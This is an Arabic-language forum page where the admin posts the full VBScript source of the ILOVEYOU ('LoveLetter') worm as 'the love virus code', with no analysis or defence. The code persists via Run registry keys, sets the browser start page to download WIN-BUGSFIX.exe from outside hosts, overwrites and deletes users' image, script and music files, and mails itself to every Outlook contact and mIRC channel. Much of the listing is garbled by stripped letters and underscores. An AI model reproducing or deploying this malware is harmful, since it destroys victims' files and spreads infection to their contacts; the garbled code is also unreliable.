منتديات سكيورتي تكريت

منتديات سكيورتي تكريت

منتديات سكيورتي تكريت

المواضيع الأخيرة

» ايميل حاتة توب تطب لايت سي
الخميس نوفمبر 08, 2012 2:24 pm من طرف يزن التكريتي

» اميل مرام البرشلونيه المحمي بشبكه احباب العراق
الجمعة يوليو 20, 2012 12:03 am من طرف أبو جارح

» تعال كلي ليش دة سوي هيج ؟ وعلى اختك المسلمة ؟
الأحد مايو 01, 2011 5:35 am من طرف عاشق المطر

» ساعدوني ارجوكم
الثلاثاء مارس 15, 2011 8:45 pm من طرف حواء المغرب

» لمادا رحلت
الإثنين مارس 14, 2011 10:13 pm من طرف حواء المغرب

» ضع قصيده اذهلتني على الاخوت والاصدقاء
الإثنين مارس 14, 2011 10:11 pm من طرف حواء المغرب

» تحميل مسلسل وادي الذئاب الجزء 5 الحلقة 4 مترجمة
السبت أكتوبر 09, 2010 6:14 am من طرف سكيورتي تكريت.

» اميل بنت صغيرة عمرها 18 من الكرادة
الخميس سبتمبر 02, 2010 4:29 am من طرف طه ياسين محمد

» اميل بنت الرافدين
الأربعاء سبتمبر 01, 2010 5:39 am من طرف عشوق

احصائيات

أعضاؤنا قدموا 178 مساهمة في هذا المنتدى في 144 موضوع

هذا المنتدى يتوفر على 904 عُضو.

آخر عُضو مُسجل هو ahmedghost فمرحباً به.

نوفمبر 2017

الإثنينالثلاثاءالأربعاءالخميسالجمعةالسبتالأحد
  12345
6789101112
13141516171819
20212223242526
27282930   

اليومية اليومية


    شفرة فيروس الحب

    شاطر
    avatar
    سكيورتي تكريت
    مدير عام المنتدى
    مدير عام المنتدى

    عدد المساهمات : 131
    تاريخ التسجيل : 28/03/2010
    العمر : 29
    الموقع : skeuritytakret_net

    شفرة فيروس الحب

    مُساهمة  سكيورتي تكريت في الإثنين مارس 29, 2010 4:16 pm

    السلام و عليكم
    لأحلى شباب
    شيفرة فيروس الحب
    شباب كتير سمعنا هل الإيام عن فايروس الحب ودماره
    وهاي لكم .................................................
    .................................................. .....................

    rem barok -loveletter(vbe) <i hate go to school>rem by: spyder / ispyder((@))mail.com / ((@))grammersoft group /

    Manila , Philippines

    On Error Resume Next

    Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

    eq=""

    ctr=0

    Set fso = CreateObject("______ing.FileSystemObject")

    Set file = fso.Open____File(W______.______Fullname,1)

    vbscopy=file.ReadAll

    main()

    Sub main()

    On Error Resume Next

    Dim wscr,rr

    Set wscr=CreateObject("W______.____l")

    rr=wscr.RegRead("HKEY_CURRENT_USER\oftware\icrosof t\indows ______ing

    Host\ettings\imeout")

    If (rr>=1) Then

    wscr.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\indows ______ing

    Host\ettings\imeout",0,"REG_DWORD"

    End If

    Set dirwin = fso.___SpecialFolder(0)

    Set dirsystem = fso.___SpecialFolder(1)

    Set dirtemp = fso.___SpecialFolder(2)

    Set c = fso.___File(W______.______FullName)

    c.Copy(dirsystem&"\SKernel32.vbs")

    c.Copy(dirwin&"\in32DLL.vbs")

    c.Copy(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")

    regruns()

    html()

    spreadtoemail()

    listadriv()

    End Sub

    Sub regruns()

    On Error Resume Next

    Dim num,downread

    regcreate

    "HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\ur rent Version\un\SKernel32

    ",dirsystem&"\SKernel32.vbs"

    regcreate

    "HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\ur rent Version\unServices\i

    n32DLL",dirwin&"\in32DLL.vbs"

    downread=""

    downread=reg___("HKEY_CURRENT_USER\oftware\icrosof t\nternet

    Explorer\ownload Directory")

    If (downread="") Then

    downread="c:\

    End If

    If (fileexist(dirsystem&"\inFAT32.exe")=1) Then

    Randomize

    num = Int((4 * Rnd) + 1)

    If num = 1 Then

    regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart

    Page","http://www.skyinet.net/~young1s/HJKh...TFwetrdsfmhPnj

    w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

    ElseIf num = 2 Then

    regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart

    Page","http://www.skyinet.net/~angelcat/skl...GFikjUIyqwerWe

    546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

    ElseIf num = 3 Then

    regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart

    Page","http://www.skyinet.net/~koichi/jf6TR...hfFEkbopBdQZnm

    POhfgER67b3Vbvg/WIN-BUGSFIX.exe"

    ElseIf num = 4 Then

    regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart

    Page","http://www.skyinet.net/~chu/sdgfhjks...tuHJBhAFSDGjkh

    YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX

    .exe"

    End If

    End If

    If (fileexist(downread&"\IN-BUGSFIX.exe")=0) Then

    regcreate

    "HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\ur rent Version\un\IN-BUGSFI

    X",downread&"\IN-BUGSFIX.exe"

    regcreate "HKEY_CURRENT_USER\oftware\icrosoft\nternet Explorer\ain\tart

    Page","about:blank"

    End If

    End Sub

    Sub listadriv

    On Error Resume Next

    Dim d,dc,s

    Set dc = fso.Drives

    For Each d In dc

    If d.DriveType = 2 Or d.DriveType=3 Then

    folderlist(d.path&"\)

    End If

    Next

    listadriv = s

    End Sub

    Sub infectfiles(folderspec)

    On Error Resume Next

    Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

    Set f = fso.___Folder(folderspec)

    Set fc = f.Files

    For Each f1 In fc

    ext=fso.Ge____ensionName(f1.path)

    ext=LCase(ext)

    s=LCase(f1.Name)

    If (ext="vbs") Or (ext="vbe") Then

    Set ap=fso.Open____File(f1.path,2,True)

    ap.write vbscopy

    ap.Close

    ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or (ext="sct")

    Or (ext="hta") Then

    Set ap=fso.Open____File(f1.path,2,True)

    ap.write vbscopy

    ap.Close

    bname=fso.___BaseName(f1.path)

    Set cop=fso.___File(f1.path)

    cop.copy(folderspec&"\&bname&".vbs")

    fso.DeleteFile(f1.path)

    ElseIf(ext="jpg") Or (ext="jpeg") Then

    Set ap=fso.Open____File(f1.path,2,True)

    ap.write vbscopy

    ap.Close

    Set cop=fso.___File(f1.path)

    cop.copy(f1.path&".vbs")

    fso.DeleteFile(f1.path)

    ElseIf(ext="mp3") Or (ext="mp2") Then

    Set mp3=fso.Create____File(f1.path&".vbs")

    mp3.write vbscopy

    mp3.Close

    Set att=fso.___File(f1.path)

    att.attributes=att.attributes+2

    End If

    If (eq<>folderspec) Then

    If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or

    (s="______.ini") Or (s="mirc.hlp") Then

    Set ______ini=fso.Create____File(folderspec&"\cript.in i")

    ______ini.WriteLine "[______]"

    ______ini.WriteLine ";mIRC ______"

    ______ini.WriteLine "; Please dont edit this ______... mIRC will corrupt,

    if mIRC will"

    ______ini.WriteLine " corrupt... WINDOWS will affect and will not run

    correctly. thanks"

    ______ini.WriteLine ";"

    ______ini.WriteLine ";Khaled Mardam-Bey"

    ______ini.WriteLine ";http://www.mirc.com"

    ______ini.WriteLine ";"

    ______ini.WriteLine "n0=on 1:JOIN:#:{

    ______ini.WriteLine "n1= /if ( $nick == $me ) {halt }

    ______ini.WriteLine "n2= /.dcc send $nick

    "&dirsystem&"\OVE-LETTER-FOR-YOU.HTM"

    ______ini.WriteLine "n3=}

    ______ini.Close

    eq=folderspec

    End If

    End If

    Next

    End Sub

    Sub folderlist(folderspec)

    On Error Resume Next

    Dim f,f1,sf

    Set f = fso.___Folder(folderspec)

    Set sf = f.SubFolders

    For Each f1 In sf

    infectfiles(f1.path)

    folderlist(f1.path)

    Next

    End Sub

    Sub regcreate(regkey,regvalue)

    Set regedit = CreateObject("W______.____l")

    regedit.RegWrite regkey,regvalue

    End Sub

    Function reg___(value)

    Set regedit = CreateObject("W______.____l")

    reg___=regedit.RegRead(value)

    End Function

    Function fileexist(filespec)

    On Error Resume Next

    Dim msg

    If (fso.FileExists(filespec)) Then

    msg = 0

    Else

    msg = 1

    End If

    fileexist = msg

    End Function

    Function folderexist(folderspec)

    On Error Resume Next

    Dim msg

    If (fso.___FolderExists(folderspec)) Then

    msg = 0

    Else

    msg = 1

    End If

    fileexist = msg

    End Function

    Sub spreadtoemail()

    On Error Resume Next

    Dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d

    Set regedit=CreateObject("W______.____l")

    Set out=W______.CreateObject("Outlook.Application")

    Set mapi=out.___NameSpace("MAPI")

    For ctrlists=1 To mapi.AddressLists.Count

    Set a=mapi.AddressLists(ctrlists)

    x=1

    regv=regedit.RegRead("HKEY_CURRENT_USER\oftware\ic rosoft\AB\&a)

    If (regv="") Then

    regv=1

    End If

    If (Int(a.AddressEntries.Count)>Int(regv)) Then

    For ctrentries=1 To a.AddressEntries.Count

    malead=a.AddressEntries(x)

    regad=""

    regad=regedit.RegRead("HKEY_CURRENT_USER\oftware\i crosoft\AB\&malead)

    If (regad="") Then

    Set male=out.CreateItem(0)

    male.Recipients.Add(malead)

    male.Subject = "ILOVEYOU"

    male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

    male.Attachments.Add(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")

    male.Send

    regedit.RegWrite

    "HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead ,1," REG_DWORD"

    End If

    x=x+1

    Next

    regedit.RegWrite

    "HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.Ad dres sEntries.Count

    Else

    regedit.RegWrite

    "HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.Ad dres sEntries.Count

    End If

    Next

    Set out=Nothing

    Set mapi=Nothing

    End Sub

    Sub html

    On Error Resume Next

    Dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

    dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>< ____

    NAME=((@))-((@))Generator((@))-((@)) CONTENT=((@))-((@))BAROK VBS - LOVELETTER((@))-((@))>"&vbcrlf& _

    "<____ NAME=((@))-((@))Author((@))-((@)) CONTENT=((@))-((@))spyder ?-? ispyder((@))mail.com ?-?

    ((@))GRAMMERSoft Group ?-? Manila , Philippines ?-? March 2000((@))-((@))>"&vbcrlf& _

    "<____ NAME=((@))-((@))De______ion((@))-((@)) CONTENT=((@))-((@))simple but i think this is

    good...((@))-((@))>"&vbcrlf& _

    "<?-?HEAD><BODY

    ONMOUSEOUT=((@))-((@))window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

    -#,#-#main#-#)((@))-((@)) "&vbcrlf& _

    "ONKEYDOWN=((@))-((@))window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

    -#,#-#main#-#)((@))-((@)) BGPROPERTIES=((@))-((@))fixed((@))-((@)) BGCOLOR=((@))-((@))#FF9933((@))-((@))>"&vbcrlf& _

    "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read

    this HTML file<BR>- Please press #-#YES#-# button to Enable

    ActiveX<?-?p>"&vbcrlf& _

    "<?-?CENTER><MARQUEE LOOP=((@))-((@))infinite((@))-((@))

    BGCOLOR=((@))-((@))yellow((@))-((@))>----------z--------------------z----------<?-?MARQUEE>

    "&vbcrlf& _

    "<?-?BODY><?-?HTML>"&vbcrlf& _

    "<______ language=((@))-((@))J______((@))-((@))>"&vbcrlf& _

    "<!--?-??-?"&vbcrlf& _

    "if (window.screen){ar wi=screen.availWidth;var

    hi=screen.availHeight;window.________To(0,0);window.re sizeTo(wi,hi);}&vbcrlf& _

    "?-??-?-->"&vbcrlf& _

    "<?-?______>"&vbcrlf& _

    "<______ LANGUAGE=((@))-((@))VB______((@))-((@))>"&vbcrlf& _

    "<!--"&vbcrlf& _

    "on error resume next"&vbcrlf& _

    "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit "&vbcrlf& _

    "aw=1"&vbcrlf& _

    "code="

    dta2="set fso=CreateObject(((@))-((@))______ing.FileSystemObject((@))-((@)))"&vbcrlf& _

    "set dirsystem=fso.___SpecialFolder(1)"&vbcrlf& _

    "code2=replace(code,chr(91)&chr(45)&chr(91),ch r(39 ))"&vbcrlf& _

    "code3=replace(code2,chr(93)&chr(45)&chr(93),c hr(3 4))"&vbcrlf& _

    "code4=replace(code3,chr(37)&chr(45)&chr(37),c hr(9 2))"&vbcrlf& _

    "set wri=fso.Create____File(dirsystem&((@))-((@))^-^MSKernel32.vbs((@))-((@)))"&vbcrlf& _

    "wri.write code4"&vbcrlf& _

    "wri.close"&vbcrlf& _

    "if (fso.FileExists(dirsystem&((@))-((@))^-^MSKernel32.vbs((@))-((@)))) then"&vbcrlf& _

    "if (err.number=424) then"&vbcrlf& _

    "aw=0"&vbcrlf& _

    "end if"&vbcrlf& _

    "if (aw=1) then"&vbcrlf& _

    "((@))((@))((@))((@))((@))((@))((@))((@)).writ e ((@))-((@))ERROR: can#-#t initialize ActiveX((@))-((@))"&vbcrlf& _

    "window.close"&vbcrlf& _

    "end if"&vbcrlf& _

    "end if"&vbcrlf& _

    "Set regedit = CreateObject(((@))-((@))W______.____l((@))-((@)))"&vbcrlf& _

    "regedit.RegWrite

    ((@))-((@))HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru

    n^-^MSKernel32((@))-((@)),dirsystem&((@))-((@))^-^MSKernel32.vbs((@))-((@))"&vbcrlf& _

    "?-??-?-->"&vbcrlf& _

    "<?-?______>"

    dt1=replace(dta1,Chr(35)&Chr(45)&Chr(35),"'")

    dt1=replace(dt1,Chr(64)&Chr(45)&Chr(64),"""")

    dt4=replace(dt1,Chr(63)&Chr(45)&Chr(63),"/")

    dt5=replace(dt4,Chr(94)&Chr(45)&Chr(94),"\)

    dt2=replace(dta2,Chr(35)&Chr(45)&Chr(35),"'")

    dt2=replace(dt2,Chr(64)&Chr(45)&Chr(64),"""")

    dt3=replace(dt2,Chr(63)&Chr(45)&Chr(63),"/")

    dt6=replace(dt3,Chr(94)&Chr(45)&Chr(94),"\)

    Set fso=CreateObject("______ing.FileSystemObject")

    Set c=fso.Open____File(W______.______FullName,1)

    lines=Split(c.ReadAll,vbcrlf)

    l1=UBound(lines)

    For n=0 To UBound(lines)

    lines(n)=replace(lines(n),"'",Chr(91)+Chr(45)+Chr( 91))

    lines(n)=replace(lines(n),"""",Chr(93)+Chr(45)+Chr (93))

    lines(n)=replace(lines(n),"\,Chr(37)+Chr(45)+Chr(3 7))

    If (l1=n) Then

    lines(n)=Chr(34)+lines(n)+Chr(34)

    Else

    lines(n)=Chr(34)+lines(n)+Chr(34)&"&vbcrlf& _"

    End If

    Next

    Set b=fso.Create____File(dirsystem+"\OVE-LETTER-FOR-YOU.HTM")

    b.Close

    Set d=fso.Open____File(dirsystem+"\OVE-LETTER-FOR-YOU.HTM",2)

    d.write dt5

    d.write join(lines,vbcrlf)

    d.write vbcrlf

    d.write dt6

    d.Close

    End Sub

      الوقت/التاريخ الآن هو الجمعة نوفمبر 24, 2017 9:45 am